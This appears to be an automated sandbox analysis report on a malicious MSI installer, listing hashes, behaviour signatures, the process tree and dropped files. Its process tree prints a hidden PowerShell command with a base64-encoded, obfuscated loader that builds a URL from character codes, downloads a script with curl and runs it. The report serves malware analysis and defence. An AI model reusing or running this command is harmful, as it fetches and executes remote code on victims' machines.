Analysis

  • max time kernel
    149s
  • max time network
    97s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260513-en
  • resource tags

    arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    04/06/2026, 20:48

General

  • Target
    18cbac18a54ec8d07f005b241084e7961c1d80122ff1ce514442102fa97b179e.msi
  • Size 36KB
  • Sample260604-zlgaeaev2v
  • SHA256 18cbac18a54ec8d07f005b241084e7961c1d80122ff1ce514442102fa97b179e
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in Windows directory 12 IoCs
  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 3 IoCs
  • Modifies registry class 20 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\18cbac18a54ec8d07f005b241084e7961c1d80122ff1ce514442102fa97b179e.msi
    1⤵
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    PID:2028
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1504
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:1636
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand IAAkAHUAYgBoAHcAcgBtAGUAcQBwAGsAbABjAD0AJwB1AHIAJwAgADsAcwBlAHQALQBhAGwAaQBhAHMAIABwAHIAbwB0AG8AbgBzACAAYwAkACgAJAB1AGIAaAB3AHIAbQBlAHEAcABrAGwAYwApAGwAOwAkAG0AagByAGYAZQBoAGQAawBuAHgAdQB5AHYAPQAoADcANQAwADQALAA3ADUAMAA4ACwANwA0ADgAOAAsADcANQAwADQALAA3ADUAMAA5ACwANwA0ADgANQAsADcANAA4ADgALAA3ADUAMAAzACwANwA0ADMANQAsADcANAAzADUALAA3ADQANAA0ACwANwA0ADMAMwAsADcANQAwADMALAA3ADQAOQA4ACwANwA0ADkAOQAsADcANAAzADQALAA3ADQAMwA2ACwANwA0ADMAMwAsADcANAA5ADkALAA3ADQAOQAxACwANwA0ADkAOQAsADcANAA1ADAALAA3ADUAMAAyACwANwA0ADQAOAAsADcANAA0ADMALAA3ADQAMwA3ACwANwA0ADMANwAsADcANAAzADcALAA3ADQAOAA4ACwANwA0ADgANwAsADcANAA0ADEALAA3ADQAMwA1ACwANwA0ADMAMgAsADcANAA0ADMALAA3ADQAOAA5ACwANwA0ADQAMwAsADcANAA4ADUALAA3ADQAMwAyACwANwA0ADMAOQAsADcANAA4ADQALAA3ADQAOAA1ACwANwA0ADgAOQAsADcANAAzADIALAA3ADQAOAA0ACwANwA0ADgANgAsADcANAA0ADIALAA3ADQANAA0ACwANwA0ADMAMgAsADcANAAzADcALAA3ADQAMwA4ACwANwA0ADMAOQAsADcANAA4ADcALAA3ADQAOAA3ACwANwA0ADMAOAAsADcANAAzADcALAA3ADQAMwA3ACwANwA0ADQAMAAsADcANAA4ADcALAA3ADQANAA0ACwANwA0ADMANQApADsAJABhAHUAcwBvAHAAYwBnAHIAbQB5AHgAcQA9ACgAJwBlAHIAdABpAGcAbwBzACcALAAnAGcAZQB0AC0AYwBtAGQAbABlAHQAJwApADsAJABqAGYAZQBrAGgAYwB2AGkAcABnAGQAbAA9ACQAbQBqAHIAZgBlAGgAZABrAG4AeAB1AHkAdgA7AGYAbwByAGUAYQBjAGgAKAAkAG4AcABlAHkAcgB0AGIAdwBnAHMAIABpAG4AIAAkAGoAZgBlAGsAaABjAHYAaQBwAGcAZABsACkAewAkAHgAYwBqAGwAYgB6AHkAYQBoAG0AaQBvAGUAdgA9ACQAbgBwAGUAeQByAHQAYgB3AGcAcwA7ACQAeQBnAGsAbAB3AHQAZgA9ACQAeQBnAGsAbAB3AHQAZgArAFsAYwBoAGEAcgBdACgAJAB4AGMAagBsAGIAegB5AGEAaABtAGkAbwBlAHYALQA3ADMAOAA3ACkAOwAkAHIAZwBkAHEAdwBzAGoAdQBmAHoAbQBoAGEAPQAkAHkAZwBrAGwAdwB0AGYAOwAgACQAegB4AGcAcQBmAG0APQAkAHIAZwBkAHEAdwBzAGoAdQBmAHoAbQBoAGEAfQA7ACQAdwBrAG0AZgBzAG8AZQBbADIAXQA9ACQAegB4AGcAcQBmAG0AOwAkAHgAdwBtAGIAegBmAGUAeQBhAGcAawA9ACcAcgBsACcAOwAkAHIAbABjAGEAdwBiAGcAawBkAD0AMQA7AC4AJAAoAFsAYwBoAGEAcgBdACgAKAAoADIAMAAwACAAKwAgADMAMAApACAALQAgACgAMQAwADAAIAArACAAMgA1ACkAKQApACsAJwBlACcAKwAnAHgAJwApACgAcAByAG8AdABvAG4AcwAgAC0AdQBzAGUAYgAgACQAegB4AGcAcQBmAG0AKQA=
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:2116
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      • Suspicious use of AdjustPrivilegeToken
      PID:3792

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          e588856.rbs

          • Path C:\Config.Msi\e588856.rbs
          • Size 7KB
          • SHA256 9d06449bdafa6c1eb09d1c15b9fd6a680068d3550457e658e47fe69f37b8cfb9
          • MD5 SHA1 SHA512 SSDEEP TLSH

          __PSScriptPolicyTest_ycax2njy.lbo.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ycax2njy.lbo.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH

          metadata-2

          • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
          • Size 24.6MB
          • SHA256 edd88a7bda9cb5dca8cdde573e5de4821f943c2b5871da7fe1e70e7f98bf47da
          • MD5 SHA1 SHA512 SSDEEP TLSH

          {d7386a68-a70b-4bb0-9630-285b0c8dc0cd}_OnDiskSnapshotProp

          • Path \??\Volume{681e74ae-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{d7386a68-a70b-4bb0-9630-285b0c8dc0cd}_OnDiskSnapshotProp
          • Size 6KB
          • SHA256 11c675921489c8396c498a8cef664f9bf0e5e35940015481f0c0081f0e3f4d47
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/2116-20-0x000001F0108E0000-0x000001F010902000-memory.dmp